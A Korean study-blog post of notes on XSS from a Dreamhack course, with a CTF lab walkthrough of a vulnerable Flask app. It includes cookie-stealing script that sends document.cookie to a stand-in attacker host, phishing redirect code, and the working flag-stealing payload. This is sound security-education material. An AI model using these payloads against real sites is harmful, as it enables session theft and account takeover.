Dreamhack

웹 해킹 ClientSide: XSS

kchabin 2022. 7. 25. 19:42

클라이언트 사이드 취약점 : 웹 페이지 이용자 대상 공격

이용자 식별 세션 및 쿠키 정보 탈취. -> 해당 계정으로 임의의 기능 수행.

 

 

XSS 

클라이언트 사이드 취약점 중 하나. 

공격자가 웹 리소스에 악성 스크립트 삽입, 이용자의 웹 브라우저에서 해당 스크립트를 실행함.

특정 계정의 세션 정보 탈취 및 계정으로 임의 기능 수행.

XSS 발생 예시와 종류

이용자가 삽입한 내용을 출력하는 기능에서 발생함. 

예) 로그인 시 출력되는 "안녕하세요, 00회원님." 게시물, 댓글

 

Stored XSS : 악성스크립트가 서버 데이터베이스 또는 파일 등의 형태로 저장 되고 서버의 응답에 담겨오는 XSS.  -> 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식.

 

Reflected XSS : 악성스크립트 URL에 삽입, 서버의 응답에 담겨옴. 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

-> 이용자의 요청에 의해 발생함. 이용자가 악성 스크립트가 포함된 링크에 접속하도록 유도해야함.Click Jacking 또는 Open Redirect 등 다른 취약점과 연계.

 

예) 게시물 검색 시 서버에서 검색 결과를 이용자에게 반환함. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있음.

g 입력 시

<script> 태그 또는 HTML 태그를 검색창에 삽입하고

반환되는 HTML 코드를 확인함으로써 Reflected XSS 발생형태를 확인해볼 수 있음.

 

 

DOM-based XSS : 악성 스크립트가 URL Fragment에 삽입되는 XSS.  Fragment는 서버 요청/응답에 포함되지 않음.

Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP를 우회하는 XSS.

 

자바스크립트 -> 웹 문서의 동작 정의. 

- 이용자가 버튼 클릭 시에 어떤 이벤트를 발생시킬지와 데이터 입력 시 해당 데이터를 전송하는 이벤트를 구현할 수 있음.

- 이용자와의 상호 작용 없이 이용자의 권한으로 정보를 조회하거나 변경하는 등의 행위.

-> 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있음.

 

Figure 1. 쿠키 및 세션 탈취 공격 코드

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

Figure 2. 페이지 변조 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

Figure 3. 위치 이동 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

 

셀레늄(Selenium) : 웹 어플리케이션 테스팅에 사용되는 파이썬 모듈. API를 통해 웹 드라이버(크롬, 사파리 등)를 사용할 수 있음. 웹 리소스를 웹 드라이버를 통해 해석하고 실행하기 때문에 웹 브라우저를 통해 페이지를 방문하는 것과 같은 역할을 함.

 

/ : 인덱스 페이지

/vuln : 이용자가 입력한 값 출력

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
    return param # 이용자의 입력값을 화면 상에 표시

 

/memo : 이용자가 메모를 남길 수 있으며, 작성한 메모를 출력함

@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
    global memo_text # 메모를 전역변수로 참조
    text = request.args.get('memo', '') # 사용가 전송한 memo 입력값을 가져옴
    memo_text += text + '\n' # 사용가 전송한 memo 입력값을 memo_text에 추가
    return render_template('memo.html', memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력

/flag : 전달된 URL에 임의 이용자가 접속하게끔 함. 해당 이용자의 쿠키에는 FLAG가 존재

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

GET : 이용자에게 URL 입력받는 페이지 구성

POST : params 파라미타에 값과 쿠키에 FLAG를 포함해 check_xss 함수 호출.

check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속함.

 

취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력함.

memo는 render_template 함수를 사용해 memo.html을 출력함.

render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환해 저장하기 때문에 XSS가 발생하지 않음. 그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생함.

 

익스플로잇

/vuln 엔드포인트에서 발생하는 XSS 취약점으로 임의 이용자의 쿠키 탈취해야함.

탈취한 쿠키 전달 받기 : 외부에서 접근 가능한 웹 서버 or memo 엔드포인트

 

location.href : 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값.

document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값.

 

flag 엔드포인트에서 <script>location.href = "/memo?memo=" + document.cookie;</script> 를 입력함.

memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있음. 근데 한 번 사이트에서 나왔더니 계속 연결이 거부당해서 플래그를 얻긴얻었는데 값을 저장을 못함.

 

XSS 공격은 주로 이용자의 입력값이 출력되는 페이지에서 발생하며, 해당 공격을 통해 타 이용자의 브라우저에 저장된 쿠키 및 세션 정보를 탈취할 수 있음. 

->해결책 : HTML Sanitization(악성 태그 필터링) 사용 or 엔티티코드로 치환

'Dreamhack' 카테고리의 다른 글

암호학 Stage 1  (0) 2022.07.30
웹 해킹 : XSS-2  (0) 2022.07.25
웹 해킹 Stage 3  (0) 2022.07.22
시스템 해킹 quiz.c  (0) 2022.07.22
웹 해킹 Stage 2  (0) 2022.07.22